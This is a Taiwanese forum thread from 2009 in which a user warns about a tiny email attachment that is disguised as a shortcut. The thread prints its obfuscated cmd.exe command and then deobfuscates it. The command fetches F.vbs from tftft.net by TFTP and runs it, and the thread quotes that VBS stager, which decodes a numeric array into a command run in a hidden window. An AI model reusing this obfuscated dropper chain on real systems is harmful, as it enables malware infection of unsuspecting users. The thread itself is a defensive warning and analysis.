TWed2k - 文字海洋 - [分享]新型態的病毒傳播方式!

TWed2k » 文字海洋 » [分享]新型態的病毒傳播方式!

uason
金驢友〔高級〕

思考中

．積分： 2838
．精華： 1
．文章： 1797
．收花： 26771 支
．送花： 4272 支
．比例： 0.16
．在線： 5408 小時
．瀏覽： 24270 頁
．註冊： 8218 天
．失蹤： 0 天
．快樂天堂

#1 : 2009-11-16 10:21 PM 全部回覆	送花 (12) 送出中...

剛收到的信件附加欓覺得很可疑!

他附加欓很小.
只有1K.
解壓縮後是一個類似捷徑的圖示.
執行指令如下.

CODE:

%CoMsPEC% /C ecHo %M%%X%%M%P%A%%m%%x%%m%%X%%m%.NE%M%%a%gE%m%%A%%M%%a%F.Vbs>O.BAT&echo S%M%AR%M%%a%f.vBS>>o.BaT&SEt M=t&sEt x=f&SEt a= &O.bAT

也請各位網友多注意這種散播方式!

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

uason
金驢友〔高級〕

思考中

#2 : 2009-11-16 11:27 PM 全部回覆	送花 (0) 送出中...

解出來就是這樣：

CODE:

%CoMsPEC% /C ecHo tftP tftft.NEt gEt t F.Vbs>O.BAT
echo StARt f.vBS>>o.BaT
o.bat

o.bat 的內容就會是這樣：

CODE:

tftP tftft.NEt gEt t F.Vbs
StARt f.vBS

抓下來的 F.VBs 內容：

CODE:

sub k
for i=1 to UBound(s)
r=r&chr(s(i)-823)
next
Set kk = CreateObject("Wscript.Shell")
kk.run r,0
end sub
s=array(836,922 ... 中略 ... 942,870)
k

至於執行後有啥後果?
就要試試才知道了.

以上資料轉自三秒練功房

[uason 在 2009-11-16 11:46 PM 作了最後編輯]

[如果你喜歡本文章，就按本文章之鮮花～送花給作者吧，你的支持就是別人的動力來源]

所在時區為 GMT+8, 現在時間是 2024-11-29 08:40 PM	清除 Cookies - 連絡我們 - TWed2k © 2001-2046 - 純文字版 - 說明 Discuz! 0.1 \| Processed in 0.015932 second(s), 7 queries , Qzip disabled